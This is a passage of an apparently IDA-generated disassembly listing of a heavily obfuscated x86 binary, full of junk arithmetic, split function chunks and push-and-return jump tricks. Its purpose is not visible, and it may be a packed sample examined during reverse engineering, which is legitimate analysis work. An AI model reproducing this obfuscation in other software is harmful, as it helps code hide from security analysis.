loc_424AAA:				; CODE XREF: sub_42A197+Ej
		mov	al, [ebp-0Ah]
		shr	eax, 4
		call	sub_42D434


loc_424AB5:				; DATA XREF: sub_424A1B:loc_424812o
		add	eax, ebp
		add	eax, 0B66F2625h
		push	eax
		call	sub_42596F
		jmp	loc_426E93
; END OF FUNCTION CHUNK	FOR sub_42A197
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42708B


loc_424AC8:				; CODE XREF: sub_42708B+8296j
		jnz	loc_42D302


loc_424ACE:				; CODE XREF: wto1jq8f:004286BFj
		jmp	loc_429A94
; END OF FUNCTION CHUNK	FOR sub_42708B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A53


loc_424AD5:				; CODE XREF: sub_427A53+7j
		jmp	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_427A53

; =============== S U B	R O U T	I N E =======================================



sub_424ADA	proc near		; DATA XREF: sub_42B63C+19F0o

; FUNCTION CHUNK AT 004273F2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428081 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004291E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DDDC SIZE 0000000A BYTES

		mov	[ebx], eax
		pop	ebx
		cmp	dword ptr [ebp-10h], 0
		jz	loc_4245A9
		jmp	loc_4291E1
sub_424ADA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_424AEC:				; CODE XREF: sub_42F50F:loc_42790Cj
		call	sub_428CE9


loc_424AF1:				; CODE XREF: wto1jq8f:0042627Cj
		jmp	loc_42CFC8
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_424AF6:				; CODE XREF: sub_42E9E8:loc_42CECCj
		jz	loc_42CEF5
		cmp	ebx, 53EE830Ch
		push	ebx
		push	0DF55336Bh
		xchg	edi, [esp+0]


loc_424B0B:				; CODE XREF: wto1jq8f:loc_42F3DBj
		mov	ebx, edi
		pop	edi
		jmp	loc_428ECC
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_424B13:				; CODE XREF: wto1jq8f:loc_42F180j
		pop	esi
		xor	esi, 41760191h
		or	esi, 1FEC9B2Eh
		push	offset loc_42D7BA
		jmp	locret_42E75A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_249. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424B2B:				; DATA XREF: sub_42760F-186Bo
		jnz	loc_42D900
		lea	eax, [ebp-125h]
		push	eax
		call	sub_42D8F4


loc_424B3D:				; CODE XREF: wto1jq8f:0042B728j
		jmp	loc_425E10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A467


loc_424B42:				; CODE XREF: sub_42A467-5CC0j
		jmp	nullsub_142
; END OF FUNCTION CHUNK	FOR sub_42A467

; =============== S U B	R O U T	I N E =======================================



sub_424B47	proc near		; CODE XREF: wto1jq8f:00428A85p
		mov	[esp+0], eax
		rol	eax, 17h
		call	sub_424E0E
sub_424B47	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42B2A8


loc_424B52:				; CODE XREF: sub_42B2A8:loc_424DE2j
		xchg	edi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42B2A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA8E


loc_424B56:				; CODE XREF: sub_42AA8E+11j
		jmp	loc_4299BE
; END OF FUNCTION CHUNK	FOR sub_42AA8E
; ---------------------------------------------------------------------------


loc_424B5B:				; DATA XREF: sub_42B2A8+12o
		or	edi, 0A659CC47h
		call	sub_42B339
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_424B66:				; CODE XREF: sub_42D9D9-3C39j
		jmp	loc_426994
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42433B


loc_424B6B:				; CODE XREF: sub_42433B+11j
		jmp	loc_42CC05
; END OF FUNCTION CHUNK	FOR sub_42433B

; =============== S U B	R O U T	I N E =======================================



sub_424B70	proc near		; CODE XREF: wto1jq8f:00428967p

var_4		= dword	ptr -4

		push	ecx
		mov	[esp+4+var_4], ebp
		call	sub_4278BD
sub_424B70	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42BEF6


loc_424B79:				; CODE XREF: sub_42BEF6+1Cj
		sub	eax, ebx
		cmp	ecx, 641D3431h
		xor	ecx, eax
		sbb	ebx, ecx
		and	eax, 0DF04398Ch
		ror	edx, 3
		jmp	loc_424E2D
; END OF FUNCTION CHUNK	FOR sub_42BEF6

; =============== S U B	R O U T	I N E =======================================



sub_424B93	proc near		; DATA XREF: sub_428AC6+4E6o
		xchg	esi, [esp+0]
		call	eax
sub_424B93	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_426144


loc_424B98:				; CODE XREF: sub_426144+9547j
		mov	[ebp-4], eax


loc_424B9B:				; CODE XREF: wto1jq8f:0042B6E7j
					; sub_426144+97D5j
		dec	ds:dword_42F1CC
		mov	eax, [ebp-4]
		pop	ecx
		jmp	loc_42DF9C
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------


loc_424BAA:				; CODE XREF: wto1jq8f:0042EC80j
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_424BAC	proc near		; CODE XREF: sub_426968:loc_42AB09p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004262AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D6FF SIZE 0000000D BYTES

		mov	[esp+0], esi
		pop	esi
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_42D6FF
		jmp	loc_4262AB
sub_424BAC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_424BC5:				; CODE XREF: sub_426968:loc_42AC2Fj
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jmp	loc_4275CC
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_424BD4	proc near		; DATA XREF: sub_42C4E2-30BBo

; FUNCTION CHUNK AT 004248F2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00426758 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427041 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042793B SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00428564 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00428FC1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A80D SIZE 00000005 BYTES

		jnz	loc_428564
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 6
		setz	al
		jmp	loc_428FC1
sub_424BD4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5B2


loc_424BEA:				; CODE XREF: sub_42E5B2:loc_42EAD7j
		pop	eax
		cmp	dword ptr [eax], 0
		jnz	loc_42E5C2
		jmp	loc_425CFA
; END OF FUNCTION CHUNK	FOR sub_42E5B2

; =============== S U B	R O U T	I N E =======================================



sub_424BF9	proc near		; CODE XREF: wto1jq8f:00429223p
					; sub_42E5B2-5378p ...

; FUNCTION CHUNK AT 004268C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004275F5 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00428B8F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428BDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE55 SIZE 00000008 BYTES

		jo	sub_429DFC
		push	ebp
		jmp	loc_4275F5
sub_424BF9	endp

; ---------------------------------------------------------------------------


loc_424C05:				; CODE XREF: wto1jq8f:0042A8BBj
		jnz	loc_42C8D1
		jmp	loc_4269EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429AE8


loc_424C10:				; CODE XREF: sub_429AE8+19j
		add	eax, 0C1DA0F1Fh
		sub	eax, 0A66F9C11h
		xor	eax, 2DB8E88Fh
		add	eax, ebp
		push	offset loc_4261F9
		jmp	nullsub_35
; END OF FUNCTION CHUNK	FOR sub_429AE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_424C2E:				; CODE XREF: sub_42A6CD:loc_4285D0j
		ror	eax, 1
		add	eax, edx
		jnp	loc_42D545
		jmp	loc_42E79B
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A9E


loc_424C3D:				; CODE XREF: sub_427A9E:loc_424E42j
		call	sub_424585
		push	offset loc_42BA1C
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_427A9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_424C4C:				; CODE XREF: sub_429BD3+8j
		push	0E33D181Eh
		pop	eax
		xor	eax, 0E33D193Eh
		push	offset loc_42C7C0
		jmp	nullsub_105
; END OF FUNCTION CHUNK	FOR sub_429BD3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_424C63:				; CODE XREF: sub_429B76+127Aj
		jmp	loc_428AB1
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF9A


loc_424C68:				; CODE XREF: sub_42FF9A-64B7j
		jmp	loc_428C9F
; END OF FUNCTION CHUNK	FOR sub_42FF9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_424C6D:				; CODE XREF: sub_42DCB4-4795j
		jmp	loc_42BE01
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------


loc_424C72:				; CODE XREF: wto1jq8f:00428C9Aj
		xor	eax, 62C68F88h
		add	eax, ebp
		add	eax, 863E77E4h
		mov	eax, [eax]
		push	eax
		call	sub_42414C
; START	OF FUNCTION CHUNK FOR sub_42A14D


loc_424C88:				; CODE XREF: sub_42A14D+4j
		test	eax, eax
		jz	loc_42F5A8


loc_424C90:				; CODE XREF: wto1jq8f:loc_42F82Aj
		jmp	loc_424A69
; END OF FUNCTION CHUNK	FOR sub_42A14D
; ---------------------------------------------------------------------------


loc_424C95:				; CODE XREF: wto1jq8f:004287A0j
		xchg	ebx, [esp]
		call	sub_424A1B
		push	ecx
		push	0B9186193h
		pop	ecx
		jmp	loc_426D94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428333


loc_424CA9:				; CODE XREF: sub_4272F3-130Dj
					; wto1jq8f:loc_428101j	...
		jz	loc_42869C
		test	eax, 2
		jz	loc_4272DE
		jmp	loc_42C906
; END OF FUNCTION CHUNK	FOR sub_428333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_424CBF:				; CODE XREF: sub_426535+3A0Fj
		xor	ecx, 0A89E171h
		jnb	loc_42DF09
		jmp	loc_42D260
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		and	ebp, ecx
		jmp	loc_424303
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_119. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_424CD8:				; CODE XREF: wto1jq8f:0042437Dj
		jmp	locret_426D1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_424CDD:				; CODE XREF: sub_426C0C+88F8j
		jz	loc_42C4A2


loc_424CE3:				; CODE XREF: sub_429471:loc_426615j
		jmp	loc_42F73D
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_424CE8:				; CODE XREF: sub_426144:loc_42C1D6j
					; sub_426144+6FB6j
		push	eax
		push	5779C8FBh
		pop	eax


loc_424CEF:				; CODE XREF: wto1jq8f:0042F6D2j
		xor	eax, 0AA7B75A7h
		add	eax, ebp
		add	eax, 2FD42B4h
		mov	eax, [eax]
		jmp	loc_42FD3D
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_424D04:				; CODE XREF: sub_42CB36:loc_42F1E4j
		jo	loc_42F9E4
		shr	edi, 5
		add	esi, 77202386h
		jmp	loc_42C73E
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D47


loc_424D18:				; CODE XREF: sub_428D47:loc_428D57j
		xor	edx, edx
		div	ecx
		mov	[ebp-1Ch], edx
		mov	eax, [ebp-0Ch]
		jmp	loc_425A3B
; END OF FUNCTION CHUNK	FOR sub_428D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_424D27:				; CODE XREF: sub_42A909-6620j
					; sub_42A909:loc_42AB2Fj
		call	sub_42CB36
		test	al, al
		jz	loc_42FF67
		call	sub_424D3A
		retn
; END OF FUNCTION CHUNK	FOR sub_42A909

; =============== S U B	R O U T	I N E =======================================



sub_424D3A	proc near		; CODE XREF: sub_42A909-5BD5p

; FUNCTION CHUNK AT 0042A757 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042B406 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042B8EB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042C9C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D8A9 SIZE 0000000B BYTES

		push	ebp


loc_424D3B:				; CODE XREF: sub_42A909:loc_42AFA5j
		jmp	loc_42A757
sub_424D3A	endp

; ---------------------------------------------------------------------------


loc_424D40:				; DATA XREF: sub_426456+1o
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		mov	ebp, offset sub_424D58
		xchg	ebp, [esp]
		retn
; ---------------------------------------------------------------------------


loc_424D4E:				; CODE XREF: wto1jq8f:0042AF3Bj
		jmp	nullsub_216
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_424D53:				; CODE XREF: sub_426968+143Aj
		jmp	loc_42E910
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_424D58	proc near		; DATA XREF: wto1jq8f:00424D45o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042915B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A7EF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042C45E SIZE 0000000D BYTES

		mov	eax, ds:dword_42F0A4
		jmp	loc_42C45E
sub_424D58	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424D63	proc near		; CODE XREF: sub_429165:loc_42BBC3j

; FUNCTION CHUNK AT 0042CFF2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042D844 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EA63 SIZE 00000008 BYTES

		add	esp, 0FFFFFED8h
		call	sub_42FC41


loc_424D6E:				; CODE XREF: sub_42DC5C-5405j
		jnz	loc_42CFF7
		jmp	loc_42D844
sub_424D63	endp

; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 1Ch
		mov	ds:dword_42F084, eax
		retn
; ---------------------------------------------------------------------------


loc_424D84:				; CODE XREF: wto1jq8f:0042DD0Ej
		jmp	sub_429165
; ---------------------------------------------------------------------------


loc_424D89:				; CODE XREF: wto1jq8f:0042E9B2j
		ror	eax, 1Ch
		push	edx
		mov	[esp], eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_424D91:				; CODE XREF: sub_42F6A9:loc_42A7FEj
		add	eax, 4


loc_424D94:				; CODE XREF: sub_426842:loc_429700j
		mov	edi, [eax]
		add	eax, 4
		mov	esi, [eax]
		jmp	loc_42D51B
; END OF FUNCTION CHUNK	FOR sub_42F6A9

; =============== S U B	R O U T	I N E =======================================



sub_424DA0	proc near		; CODE XREF: sub_42AF82+9p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425BFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AB46 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042C8C6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F1AD SIZE 0000001D BYTES

		mov	[esp+0], ecx
		mov	esp, ebp
		pop	ebp
		call	sub_426166


loc_424DAB:				; CODE XREF: wto1jq8f:0042A675j
					; sub_42F067+6p
		mov	[esp-4+arg_0], eax
		pop	eax


loc_424DAF:				; CODE XREF: wto1jq8f:0042BDCEj
		pop	eax
		push	eax
		push	eax
		jmp	loc_425BFD
sub_424DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424309


loc_424DB7:				; CODE XREF: sub_424309:loc_42694Bj
		push	eax
		mov	eax, esp
; END OF FUNCTION CHUNK	FOR sub_424309
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_424DBA:				; CODE XREF: sub_42F614-5FBFj
		push	0
		mov	edx, esp
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		jmp	loc_42679C
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
		sbb	edi, 0B99617ABh
		jmp	sub_4292B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_424DD4:				; CODE XREF: sub_428A19:loc_42CAE4j
		add	eax, 1C6061AEh
		mov	eax, [eax]
		popf


loc_424DDD:				; CODE XREF: sub_426719:loc_42B97Aj
		call	sub_4293FF
; END OF FUNCTION CHUNK	FOR sub_428A19
; START	OF FUNCTION CHUNK FOR sub_42B2A8


loc_424DE2:				; CODE XREF: sub_42B2A8+17j
		jmp	loc_424B52
; END OF FUNCTION CHUNK	FOR sub_42B2A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C0C


loc_424DE7:				; CODE XREF: sub_428C0C+Aj
		jmp	loc_424EDF
; END OF FUNCTION CHUNK	FOR sub_428C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262CE


loc_424DEC:				; CODE XREF: sub_4262CE+9AEEj
		jz	loc_429363
		jmp	loc_42C9F7
; END OF FUNCTION CHUNK	FOR sub_4262CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A0E5


loc_424DF7:				; CODE XREF: sub_42A0E5-528Dj
		jge	loc_426527
; END OF FUNCTION CHUNK	FOR sub_42A0E5
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_424DFD:				; CODE XREF: sub_4240DC+B65Cj
		jmp	loc_42D0D8
; END OF FUNCTION CHUNK	FOR sub_4240DC
; ---------------------------------------------------------------------------
		popf
		jmp	loc_42651E
; ---------------------------------------------------------------------------


loc_424E08:				; CODE XREF: wto1jq8f:00427546j
		jns	nullsub_147

; =============== S U B	R O U T	I N E =======================================



sub_424E0E	proc near		; CODE XREF: sub_424B47+6p
		xchg	edx, [esp+0]
		pop	edx
		mov	ds:dword_42E528, eax
		jmp	nullsub_218
sub_424E0E	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_424E1E:				; CODE XREF: sub_426C0C+Ej
		jmp	loc_426A67
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
		push	0F6977AA5h
		jmp	sub_42A5C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BEF6


loc_424E2D:				; CODE XREF: sub_42BEF6-7368j
					; wto1jq8f:loc_42BD4Aj
		pop	eax
		pop	ebx
		pop	edx
		pop	ecx
		pop	ebp
		jmp	loc_428B27
; END OF FUNCTION CHUNK	FOR sub_42BEF6
; ---------------------------------------------------------------------------
		call	sub_42DA35
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_424E3C:				; CODE XREF: sub_4244EA+8AD9j
		jmp	loc_427CB8
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------

locret_424E41:				; CODE XREF: wto1jq8f:00426B83j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A9E


loc_424E42:				; CODE XREF: sub_427A9E+480Fj
		jmp	loc_424C3D
; END OF FUNCTION CHUNK	FOR sub_427A9E
; ---------------------------------------------------------------------------
		cmp	esi, 2966A957h
		jmp	loc_4244E4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A0E5


loc_424E52:				; CODE XREF: sub_42A0E5+11j
		cmp	ebx, 0BE0D82AEh
		jmp	loc_424DF7
; END OF FUNCTION CHUNK	FOR sub_42A0E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_424E5D:				; CODE XREF: sub_429471+465Aj
		sub	esi, 1FF44236h
		add	ebp, 0E51CF9F4h
		jmp	loc_426615
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_424E6E:				; CODE XREF: sub_42F614-D8Bj
		jle	loc_429F23
		adc	edi, ecx
		jmp	loc_42BB4E
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_424E7B:				; CODE XREF: sub_4284EC:loc_42ACCAj
		push	0D45DEBE0h
		pop	edx
		add	edx, 900248Fh
		push	eax
		pushf
		push	13A91888h
		jmp	loc_42B599
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E833


loc_424E93:				; CODE XREF: sub_42E833:loc_42E838j
		push	edi
		push	0ECD5198Bh
		pop	edi
		add	edi, 136D69D1h
		xchg	edi, [esp+4+var_4]
		jmp	sub_428183
; END OF FUNCTION CHUNK	FOR sub_42E833
; ---------------------------------------------------------------------------


loc_424EA8:				; CODE XREF: wto1jq8f:00426DC0j
		jz	loc_42664B
		jmp	loc_428E58
; ---------------------------------------------------------------------------


loc_424EB3:				; CODE XREF: wto1jq8f:0042ED93j
		or	eax, edx
		mov	[ebp-1Ch], eax
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
; START	OF FUNCTION CHUNK FOR sub_426806


loc_424EBE:				; CODE XREF: sub_426806:loc_425933j
		and	eax, 0FFh
		jmp	loc_42EE90
; END OF FUNCTION CHUNK	FOR sub_426806
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_424EC9:				; CODE XREF: sub_426968+78AAj
		jmp	nullsub_128
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F6A9


loc_424ECE:				; CODE XREF: sub_42F6A9-3306j
		jmp	loc_42DD69
; END OF FUNCTION CHUNK	FOR sub_42F6A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_424ED3:				; CODE XREF: sub_426968+22C2j
		shl	eax, 3
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 0Bh
; END OF FUNCTION CHUNK	FOR sub_426968
; START	OF FUNCTION CHUNK FOR sub_428C0C


loc_424EDF:				; CODE XREF: sub_428C0C:loc_424DE7j
		xor	[ebp-8], eax


loc_424EE2:				; CODE XREF: wto1jq8f:0042FE8Ej
		jmp	loc_4259DD
; END OF FUNCTION CHUNK	FOR sub_428C0C
; ---------------------------------------------------------------------------


loc_424EE7:				; CODE XREF: wto1jq8f:00424271j
		popf
		mov	edi, 785A29F6h


loc_424EED:				; CODE XREF: wto1jq8f:loc_42CE1Cj
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_42F5A8
		jmp	loc_427B8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_424EFF:				; CODE XREF: sub_429165+2A70j
		xor	eax, eax
		mov	[ebp+var_C], eax
		cmp	[ebp+var_4], 0
		jz	loc_4250CA
		call	sub_427A9E
		jmp	loc_42A1C7
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429E5B


loc_424F18:				; CODE XREF: sub_429E5B+Bj
		call	sub_42660F

locret_424F1D:				; CODE XREF: sub_42708B+8290j
		retn
; END OF FUNCTION CHUNK	FOR sub_429E5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_424F1E:				; CODE XREF: sub_4244EA+59AAj
		jmp	loc_42D7A8
; END OF FUNCTION CHUNK	FOR sub_4244EA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F23	proc near		; CODE XREF: sub_42708B+627Cp
					; sub_42DF80+3j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00426392 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004269E5 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp+var_8], eax
		jmp	loc_426392
sub_424F23	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F31	proc near		; DATA XREF: sub_42C88D+Fo

; FUNCTION CHUNK AT 0042EBEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ECD7 SIZE 0000001F BYTES

		call	sub_429165
		call	sub_424585
		mov	edx, 0F2B89A19h
		call	sub_429165
		push	ebx
		jmp	loc_42ECD7
sub_424F31	endp

; ---------------------------------------------------------------------------
		pop	ecx
		jmp	sub_42A3DA
; ---------------------------------------------------------------------------


loc_424F51:				; CODE XREF: wto1jq8f:0042A8C9j
		sbb	edx, 7F561988h
		xchg	edi, edx
		add	edx, 8CB9B1C0h


loc_424F5F:				; CODE XREF: wto1jq8f:loc_425AF9j
		mov	eax, [ebp-4]
		xor	edx, edx
		jmp	loc_426266
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424F6A	proc near		; CODE XREF: wto1jq8f:004279C7j
					; wto1jq8f:0042F7C3p
		xchg	ecx, [esp+0]
		pop	ecx
		mov	ds:dword_42905C, eax
		retn
sub_424F6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_424F75:				; CODE XREF: sub_429D2E+10j
		jmp	loc_42EAB5
; END OF FUNCTION CHUNK	FOR sub_429D2E

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F7A	proc near		; CODE XREF: sub_42B855j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00425BF3 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042755A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427840 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004280B2 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042837A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042CA31 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042D093 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042D3E8 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042D91B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042E99D SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_42755A
sub_424F7A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_424F83	proc near		; CODE XREF: sub_42F81B:loc_42B96Bp
					; wto1jq8f:0042F8FAj

; FUNCTION CHUNK AT 004290B8 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		ror	eax, 19h
		push	eax
		jmp	loc_4290B8
sub_424F83	endp

; ---------------------------------------------------------------------------


loc_424F90:				; CODE XREF: wto1jq8f:004245EFj
		and	ecx, 51A02D04h
		mov	edi, ecx
		jmp	loc_4264DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_424F9D:				; CODE XREF: sub_42ED01+12j
		jz	nullsub_15
		jmp	loc_42DFF7
; END OF FUNCTION CHUNK	FOR sub_42ED01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FFBA


loc_424FA8:				; CODE XREF: sub_42FFBA-BEB4j
		jg	loc_42D47E
		jmp	loc_42910D
; END OF FUNCTION CHUNK	FOR sub_42FFBA
; ---------------------------------------------------------------------------


loc_424FB3:				; DATA XREF: sub_424702+9A51o
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_42A748
		jz	loc_4245A1
; START	OF FUNCTION CHUNK FOR sub_424232


loc_424FC7:				; CODE XREF: sub_424232+4j
					; sub_424702+4j
		call	sub_425944
